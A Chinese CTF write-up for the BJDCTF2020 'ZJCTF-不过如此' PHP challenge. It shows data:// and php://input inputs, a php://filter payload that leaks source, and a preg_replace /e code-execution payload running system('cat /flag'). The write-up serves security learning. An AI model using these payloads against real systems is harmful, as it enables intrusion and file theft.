BJDCTF2020-ZJCTF-不过如此

1. 首页

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

2. 代码审计

2.1 上传提交

1
2
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

以get形式上传参数text和file,如果存在参数text同时这个text参数满足等于字符串”I have a dream”,那么就输出在这个text的字符串内容。

  • file_get_contents()—–把整个文件读入一个字符串中

payload:

1
2
3
4
?text=data://text/plain,I have a dream
或者:
?text=php://input
然后post形式上传I have a dream

2.2 文件包含

1
2
3
4
5
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。

payload:

1
&file=php://filter/convert.base64-encode/resource=next.php

得到base64编码:

1
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

解码得到next.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

/e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,再传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行,是个典型的俄罗斯套娃。

payload:

1
next.php?\S*=${getFlag()}&cmd=system('cat /flag');

2.3 preg_replace()函数

1
preg_replace(pattern, replacement, subject)
1
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)

当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行;

这里第二个参数固定为strtolower("\\1")
这里的\\1实际上体现为\1参考

反向引用
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问

这里的\1指的是第一个匹配项
官方payload/?.*={${phpinfo()}}

1
preg_replace('/(.*)/ei','strtolower("\\1")','{${phpinfo()}}');

1
2
3
但这里存在的问题是,GET方式传的字符串,.会被替换成_,这里采用

\S*=${phpinfo()} # \S 在php正则表达式中表示匹配所有非空字符,*表示多次匹配

文章推荐